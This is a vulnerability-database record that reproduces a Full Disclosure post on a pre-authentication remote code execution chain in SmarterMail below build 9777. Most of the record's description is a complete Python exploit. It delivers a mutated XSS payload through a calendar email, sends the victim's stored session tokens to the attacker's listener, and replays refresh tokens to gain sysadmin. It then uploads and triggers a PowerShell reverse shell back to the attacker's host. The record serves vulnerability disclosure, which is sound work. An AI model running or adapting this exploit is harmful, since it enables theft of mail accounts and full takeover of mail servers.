GCVE-1988-2026-0493
Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| unknown | SmarterMail <9777 Pre-Auth |
Affected:
unknown
|
guessed |
- related CVE-2026-104082
- related CVE-2026-104083
- related CVE-2026-104084
{
"containers": {
"cna": {
"affected": [
{
"product": "SmarterMail \u003c9777 Pre-Auth",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "evan via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "original blog: https://blog.evan.lat/posts/sm/\n\nSUMMARY: multiple vulns and misconfigurations in smartermail, notably\na mxss and session persistence issues, alongside several logic bugs\ncan be chained to achieve remote code execution as nt\nauthority\\system;\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104082\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104083\nhttps://nvd.nist.gov/vuln/detail/CVE-2026-104084\n\na mutated xss exists in smartermail. by sending a specific\ntext/calendar (icalendar) mimetype with the x-alt-desc header set to a\nmutated xss payload:\n\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e\u003cstyle\u003e\u003cimg src=x onerror=\"{js}\"\u003e\u003c/style\u003e\n\nthe parser in the handrolled sanitizer of smartermail fails to\nproperly sanitize this. the payload reforms after attempts at parsing\nit, allowing us to circumvent pre-auth with just one viewing of an\nemail. notably, this can be done entirely without clicking as well\n(technically), since smartermail seems to open to latest email\nautomatically\n\n\n====================\n\na session logic vuln exists in smartermail. getting the refresh token\nof a domain admin before they are subsequently demoted does not\nactually invalidate any of the tokens privileges; meaning you can\nreplay the token and continue retaining domain admin/sysadmin even\nafter being demoted by simply posting the refresh token to\n/api/v1/auth/refresh-token and getting new accesstoken/refreshtoken\npairs with the same roles\n\n====================\n\na series of logic vulns exist in smartermail that can lead to rce as\nnt authority\\system. typically, pre-9540 smartermail allowed sysadmins\nto easily rce the box. this was changed later on when they realzied it\ncould be abused. nowadays, they make sure that the volume mounts\nfeature actually requires a script path instead of a command you can\njust slap on the volume mount command. this means that tehcnically you\nneed to upload a script to the box itself or fidn an AFW. fortunately\nthere is no need, since the path validation doesnt really account for\nthe fact that we can technically create a domain anywhere in the box.\na domain contains attachments. since smartermail simply checks whether\nor not a file is within ApplicationDataScriptsPath (where the scripts\nwill be); it doesnt actually check if it is within\nApplicationDataScriptsPath/foo/bar/x.txt. this means that we can\nsimply create a domain within ApplicationDataScriptsPath, clear all\nthe attachment blacklists, create a user in that domain, impersonate\nthe user, send an attachment of a batch script/powershell script to\nourselves so it lands on the attachments folder of the domain (which\nis in ApplicationDataScriptsPath), reference the script and get rce\nanyway\n\nall xps pertaining to this can be found here:\nhttps://github.com/eev4n/smartermail\n\n\nall in one:\nimport argparse\nimport base64\nimport json\nimport requests\nimport smtplib\nimport threading\nimport time\nfrom flask import Flask, request\n\npw = \u0027Foobar1234!\u0027\nfakedom = \u0027beamed.com\u0027\n\ndef pargs():\n p = argparse.ArgumentParser()\n p.add_argument(\u0027url\u0027, help=\u0027base url\u0027)\n p.add_argument(\u0027--to\u0027, required=True, help=\u0027targ\u0027)\n p.add_argument(\u0027--port\u0027, default=\u00279000\u0027, help=\u0027flask\u0027)\n p.add_argument(\u0027--lhost\u0027, required=True, help=\u0027nc ip\u0027)\n p.add_argument(\u0027--lport\u0027, default=\u00271234\u0027, help=\u0027nc port\u0027)\n return p.parse_args()\n\nargs = pargs()\nbase = args.url.rstrip(\u0027/\u0027)\nlisten = f\u0027http://{args.lhost}:{args.port}\u0026apos;\napp = Flask(__name__)\n\n\ndef sendm(to, eml):\n print(\"PLACEHOLDER PLACEHOLDER\")\n host = args.url.split(\u0027//\u0027)[1].split(\u0027/\u0027)[0]\n for i in range(12):\n try:\n s = smtplib.SMTP(host, 25, timeout=15)\n\n s.ehlo()\n s.docmd(\u0027MAIL FROM:\u003cimportant () john com\u003e\u0027)\n s.docmd(\u0027RCPT TO:\u003c\u0027 + to + \u0027\u003e\u0027)\n s.docmd(\u0027DATA\u0027)\n s.send(eml.encode())\n result = s.docmd(\u0027.\u0027)\n s.quit()\n\n if result[0] \u003c 300:\n print(\u0027+ sent payload\u0027)\n return True\n print(\u0027- smtp: \u0027 + str(result))\n except Exception as e:\n print(\u0027- smtp: \u0027 + str(e))\n time.sleep(5)\n return False\n\n\njs = f\"\"\"(function(){{var t=localStorage.getItem(\u0027userTokens\u0027);var\ni=new Image();i.src=\u0027{listen}/?t=\u0027+encodeURIComponent(btoa(t));}})()\"\"\"\npayload = f\u0027\u003cmath\u003e\u003cmtext\u003e\u003cmglyph\u003e\u003cstyle\u003e\u003cimg src=x onerror=\"{js}\"\u003e\u003c/style\u003e\u0027\n\ndef invite(to):\n return (\n \u0027From: j () j com\\r\\n\u0027\n \u0027To: \u0027 + to + \u0027\\r\\n\u0027\n \u0027Subject: yo heres the invite\\r\\n\u0027\n \u0027Content-Type: multipart/mixed; boundary=\"cal\"\\r\\n\u0027\n \u0027\\r\\n\u0027\n \u0027--cal\\r\\n\u0027\n \u0027Content-Type: text/plain\\r\\n\u0027\n \u0027\\r\\n\u0027\n \u0027you have been invited to the next hangout g congrats\\r\\n\u0027\n \u0027--cal\\r\\n\u0027\n \u0027Content-Type: text/calendar; method=REQUEST\\r\\n\u0027\n \u0027\\r\\n\u0027\n \u0027BEGIN:VCALENDAR\\r\\n\u0027\n \u0027VERSION:2.0\\r\\n\u0027\n \u0027PRODID:-//Test//EN\\r\\n\u0027\n \u0027BEGIN:VEVENT\\r\\n\u0027\n \u0027UID:\u0027 + str(int(time.time())) + \u0027@test.local\\r\\n\u0027\n \u0027DTSTAMP:20260925T120000Z\\r\\n\u0027\n \u0027DTSTART:20260925T130000Z\\r\\n\u0027\n \u0027DTEND:20260925T140000Z\\r\\n\u0027\n \u0027SUMMARY:Meeting\\r\\n\u0027\n \u0027X-ALT-DESC;FMTTYPE=text/html:\u003chtml\u003e\u003cbody\u003e\u0027 + payload +\n\u0027\u003c/body\u003e\u003c/html\u003e\\r\\n\u0027\n \u0027END:VEVENT\\r\\n\u0027\n \u0027END:VCALENDAR\\r\\n\u0027\n \u0027--cal--\\r\\n\u0027\n )\n\n\ndef picknchoose(tokens):\n for email in tokens:\n refresh = tokens[email].get(\u0027refreshToken\u0027)\n\n if not refresh:\n continue\n\n r = requests.post(base + \u0027/api/v1/auth/refresh-token\u0027,\njson={\u0027token\u0027: refresh}, timeout=30)\n\n if r.status_code != 200:\n print(f\u0027refresh fail wtf\u0027)\n continue\n\n access = r.json()[\u0027accessToken\u0027]\n\n open(\u0027refresh.txt\u0027, \u0027a\u0027).write(email + \u0027 \u0027 + r.json()[\u0027refreshToken\u0027])\n\n part = access.split(\u0027.\u0027)[1]\n part += \u0027=\u0027 * (-len(part) % 4)\n\n claims = json.loads(base64.urlsafe_b64decode(part))\n\n if \u0027SysAdmin\u0027 in claims.get(\u0027role\u0027, []):\n print(f\u0027+ got sysadmin shit aint sweet no mo\u0027)\n return access\n\n print(f\u0027- {email}: not sysadmin\u0027)\n return None\n\ndef beam(at):\n def apibase(path, data):\n return requests.post(base + path, json=data,\nheaders={\u0027Authorization\u0027: \u0027Bearer \u0027 + at}, timeout=60)\n # get the orig path first\n r = apibase(\u0027/api/v1/settings/sysadmin/AddOrUpdateMount\u0027, {\n \u0027Enabled\u0027: True,\n \u0027MountPath\u0027: \u0027C:/tmp\u0027,\n \u0027CommandMount\u0027: \u0027zz\u0027,\n \u0027CommandUnmount\u0027: \u0027\u0027,\n \u0027ReadOnly\u0027: False,\n \u0027UseArgumentsInCommand\u0027: False\n })\n\n if \u0027not found\u0027 not in r.text:\n print(\u0027! cant find assets dir\u0027)\n return\n\n assets = r.text.split(\"Script file \u0027\")[1].split(\u0027zz\u0027)[0]\n\n print(f\u0027+ got assets {assets}\u0027)\n\n r = apibase(\u0027/api/v1/settings/sysadmin/global-mail\u0027, {\n \u0027globalMailSettings\u0027:\n {\n \u0027fileTypeRestriction\u0027:\n {\n \u0027blackList\u0027: [],\n \u0027blockFilesWithNoExtension\u0027: False\n }\n }\n })\n if r.status_code != 200:\n print(\u0027! cant clear bl\u0027)\n return\n\n print(\u0027+ bl cleared\u0027)\n\n r = apibase(\u0027/api/v1/settings/sysadmin/domain-put\u0027, {\n \u0027domainData\u0027: {\n \u0027name\u0027: fakedom,\n \u0027hostname\u0027: \u0027mail.\u0027 + fakedom,\n \u0027path\u0027: assets + \u0027x\u0027,\n \u0027isEnabled\u0027: True,\n \u0027isSplitDomain\u0027: False\n },\n \u0027adminUsername\u0027: \u0027lol\u0027,\n \u0027adminPassword\u0027: pw\n })\n\n if r.status_code == 200:\n print(\u0027+ new dom\u0027)\n else:\n print(f\u0027- cant make new domain\u0027)\n\n email = f\u0027lol@{fakedom}\u0027\n r = apibase(\u0027/api/v1/settings/sysadmin/post-user\u0027, {\n \u0027email\u0027: email,\n \u0027userData\u0027: {\n \u0027maxMailboxSize\u0027: 0\n },\n \u0027allowMail\u0027: True\n })\n\n if r.status_code == 200:\n print(\u0027+ quota unlimited\u0027)\n else:\n print(f\u0027- quota: {r.status_code}\u0027)\n\n r = requests.post(base + \u0027/api/v1/auth/authenticate-user\u0027, json={\n \u0027Username\u0027: email,\n \u0027Password\u0027: pw,\n \u0027clientId\u0027: \u0027lol\u0027\n }, timeout=30)\n\n if r.status_code != 200:\n print(\u0027! login fail \u0027 + r.text[:200])\n return\n user_token = r.json()[\u0027accessToken\u0027]\n print(\u0027+ logged in no bizzy BAP \u0027)\n\n ps1 = f\"\"\"$c=New-Object\nSystem.Net.Sockets.TCPClient(\u0027{args.lhost}\u0027,{args.lport});\n$s=$c.GetStream();[byte[]]$b=0..65535|%{{0}};\nwhile(($i=$s.Read($b,0,$b.Length))-ne 0){{\n$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);\n$r=((\u0027Invoke\u0027+\u0027-Expression\u0027) $d 2\u003e\u00261|Out-String);$r2=$r+\u0027PS \u0027+(pwd).Path+\u0027\u003e \u0027;\n$e=([text.encoding]::ASCII).GetBytes($r2);\n$s.Write($e,0,$e.Length);$s.Flush()}};\n$c.Close()\n\"\"\"\n ps1p = assets + \u0027x/Users/lol/FileStore/Root Folder/fun.ps1\u0027\n bat = (f\u0027@echo off\\r\\n\u0027\n f\u0027powershell -ExecutionPolicy Bypass -WindowStyle Hidden\n-File \"{ps1p}\"\\r\\n\u0027)\n\n def upload(filename, content):\n size = str(len(content))\n form = {\n \u0027context\u0027: \u0027file-storage\u0027,\n \u0027contextData\u0027: \u0027{\"folder\":\"\"}\u0027,\n \u0027resumableChunkNumber\u0027: \u00271\u0027,\n \u0027resumableTotalChunks\u0027: \u00271\u0027,\n \u0027resumableChunkSize\u0027: size,\n \u0027resumableCurrentChunkSize\u0027: size,\n \u0027resumableTotalSize\u0027: size,\n \u0027resumableIdentifier\u0027: filename.upper().replace(\u0027.\u0027, \u0027-\u0027)\n+ \u0027-\u0027 + size,\n \u0027resumableFilename\u0027: filename,\n \u0027resumableRelativePath\u0027: filename,\n \u0027resumableType\u0027: \u0027\u0027,\n }\n # technically not needed but sometimes it fails\n for i in range(15):\n r = requests.post(base + \u0027/api/upload\u0027,\nheaders={\u0027Authorization\u0027: \u0027Bearer \u0027 + user_token}, data=form,\nfiles={\u0027file\u0027: (filename, content.encode())}, timeout=30)\n if r.status_code == 200:\n return True\n if \u0027MAX_SIZE_EXCEEDED\u0027 in r.text:\n time.sleep(3)\n continue\n print(f\u0027! upload: {r.text[:100]}\u0027)\n return False\n print(\u0027! upload is fucked wtf did you do\u0027)\n return False\n\n if not upload(\u0027fun.ps1\u0027, ps1):\n return\n if not upload(\u0027g.bat\u0027, bat):\n return\n print(\u0027+ uploaded pl\u0027)\n\n r = apibase(\u0027/api/v1/settings/sysadmin/AddOrUpdateMount\u0027, {\n \u0027Enabled\u0027: True,\n \u0027MountPath\u0027: \u0027C:/tmp\u0027,\n \u0027CommandMount\u0027: \u0027x/Users/lol/FileStore/Root Folder/g.bat\u0027,\n \u0027CommandUnmount\u0027: \u0027\u0027,\n \u0027ReadOnly\u0027: False,\n \u0027UseArgumentsInCommand\u0027: False\n })\n if \u0027not found\u0027 in r.text:\n print(\u0027???: \u0027 + r.text[:300])\n else:\n print(f\u0027+ shell\u0027)\n\n@app.route(\u0027/\u0027)\ndef catch():\n raw = request.args.get(\u0027t\u0027, \u0027\u0027)\n stolen = base64.b64decode(raw).decode(\u0027utf-8\u0027, \u0027replace\u0027)\n print(\u0027+ got tokens\u0027)\n tokens = json.loads(stolen)\n\n atk = picknchoose(tokens)\n if atk is None:\n print(\u0027! no sysadmin token\u0027)\n return b\u0027\u0027\n\n beam(atk)\n return b\u0027\u0027\n\n\nthreading.Thread(target=lambda: app.run(host=\u00270.0.0.0\u0027,\nport=int(args.port)), daemon=True).start()\nprint(f\u0027+ WE UP @ {args.port}\u0027)\n\nif not sendm(args.to, invite(args.to)):\n print(\"! cant send mail\")\n exit(1)\n\nprint(\u0027waiting\u0027)\nwhile True:\n time.sleep(60)\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-11-02T07:30:03Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/9"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Oct/9"
},
{
"url": "http://{args.lhost}:{args.port}\u0026apos"
},
{
"url": "https://blog.evan.lat/posts/sm/"
},
{
"url": "https://github.com/eev4n/smartermail"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104082"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104083"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104084"
},
{
"url": "https://seclists.org/fulldisclosure/"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Oct/9"
],
"discovery": "EXTERNAL"
},
"title": "SmarterMail \u003c9777 Pre-Auth RCE (half click lol): CVE-2026-104082, CVE-2026-104083, CVE-2026-104084",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-104082",
"type": "related"
},
{
"destId": "CVE-2026-104083",
"type": "related"
},
{
"destId": "CVE-2026-104084",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0493",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/9",
"automated": true,
"contentSha256": "dd1f31b89d6a3bab8b013a9c3df41ef45f530e4b4d7fd0f326688e3ce062d753",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/9",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-10-12T15:49:16Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0493"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-11-02T07:30:03Z",
"dateUpdated": "2026-11-02T07:30:03Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0493"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.